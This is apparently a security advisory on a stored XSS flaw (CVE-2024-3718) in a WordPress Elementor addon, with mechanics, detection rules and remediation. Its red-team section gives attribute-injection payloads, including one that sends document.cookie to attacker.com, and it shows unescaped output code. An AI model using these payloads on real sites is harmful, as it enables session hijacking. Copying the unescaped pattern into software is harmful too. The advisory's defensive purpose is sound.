CVE-2024-3718

Executive Summary

CVE-2024-3718 is a Stored Cross-Site Scripting (XSS) vulnerability in the The Plus Addons for Elementor WordPress plugin, affecting all versions up to and including 5.5.4. The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes across several of the plugin's widgets. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute whenever a victim visits a compromised page. The vulnerability is publicly known, with a CVSS score of 6.4 (Medium), and is considered a WordPress ecosystem issue. No official patch has been confirmed at the time of analysis.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin from the repository are at risk. The plugin is not distributed via NPM, PyPI, Go, or Ruby, but the supply chain risk is elevated due to the lack of a confirmed patch and the plugin's widespread use in WordPress environments. Organizations should treat this as a high-priority supply chain risk for their WordPress deployments.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication but is trivial to exploit once access is obtained. The stored XSS can lead to session hijacking, defacement, or phishing campaigns.

Deep Dive & Mechanics

The vulnerability exists in several widgets of The Plus Addons for Elementor, including but not limited to the "Info Box," "Button," and "Heading" widgets. The plugin fails to properly sanitize user-supplied attributes (e.g., data-* attributes, custom CSS classes, or inline styles) before storing them in the WordPress database. When the page is rendered, these unsanitized attributes are output without proper escaping, allowing an attacker to inject arbitrary JavaScript.

Attack Flow:

1. An attacker with contributor-level access logs into the WordPress admin panel.
2. The attacker creates or edits a page/post using Elementor and inserts a vulnerable widget from The Plus Addons.
3. The attacker injects a malicious payload into a widget attribute, such as a custom CSS class or data attribute.
4. The payload is stored in the database without sanitization.
5. When any user (including administrators) visits the page, the malicious script executes in their browser.

Example Payload (conceptual):

<div class="elementor-widget-container" data-something="<script>alert('XSS')</script>">

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual comparison based on the vulnerability description.

Vulnerable Code (Conceptual):

// In the widget's render method
$settings = $this->get_settings_for_display();
$custom_attr = $settings['custom_attribute'];
echo '<div ' . $custom_attr . '>'; // Direct output without escaping

Patched Code (Conceptual):

// In the widget's render method
$settings = $this->get_settings_for_display();
$custom_attr = esc_attr($settings['custom_attribute']); // Escape attribute
echo '<div ' . $custom_attr . '>';

The fix would involve using WordPress's built-in escaping functions like esc_attr(), esc_html(), or wp_kses() on all user-supplied attributes before output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with The Plus Addons for Elementor <= 5.5.4 installed and activated.
• A user account with contributor-level privileges or higher.

Steps:

1. Log in to the WordPress admin panel as a contributor.
2. Navigate to Pages > Add New and open the Elementor editor.
3. Add a vulnerable widget (e.g., "Info Box").
4. In the widget's advanced settings, locate a custom attribute field (e.g., "CSS ID" or "Custom CSS").
5. Inject the following payload into the field:

   " onfocus="alert(document.cookie)" autofocus="
   

6. Save and publish the page.
7. When any user visits the page, the script executes.

Alternative Payload (for session hijacking):

" onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)" x="

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual widget attribute values in the wp_postmeta table.
• Look for patterns like on*= or <script> in custom fields.
• Use Web Application Firewall (WAF) rules to block common XSS payloads.

Hardening:

• Disable the plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Indicators:
  • Modified or suspicious entries in wp_postmeta with meta_key containing _elementor_data and meta_value containing JavaScript event handlers (e.g., onfocus, onmouseover).
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Requests containing document.cookie in the query string.
• Log Indicators:
  • WordPress audit logs showing creation of pages/posts with unusual widget settings.
  • Web server logs showing alert() or fetch() in request parameters.

Detection Engineering

YARA Rule

rule CVE_2024_3718_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in The Plus Addons for Elementor"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3718"
    strings:
        $xss1 = /on\w+\s*=\s*["'][^"']*script[^"']*["']/ nocase
        $xss2 = /<script[^>]*>.*?<\/script>/ nocase
        $xss3 = /javascript\s*:/ nocase
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via The Plus Addons for Elementor
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in WordPress post meta for The Plus Addons
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        meta_key: '_elementor_data'
        meta_value|contains:
            - 'onfocus='
            - 'onmouseover='
            - '<script>'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3718 Stored XSS - Outbound Cookie Exfiltration"; flow:to_server,established; content:"document.cookie"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Review and remove any suspicious pages/posts created by contributors.
3. Reset passwords for all contributor-level accounts.

Long-term Mitigation:

• Apply the official patch once released by the vendor.
• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Enforce the principle of least privilege for WordPress user roles.
• Regularly audit plugin code for security vulnerabilities.

Workaround:

• If the plugin cannot be disabled, use a security plugin (e.g., Wordfence) to block known XSS payloads.
• Manually add escaping functions to the plugin's widget files (not recommended for non-developers).

Valters IT
Securing Digital Ecosystems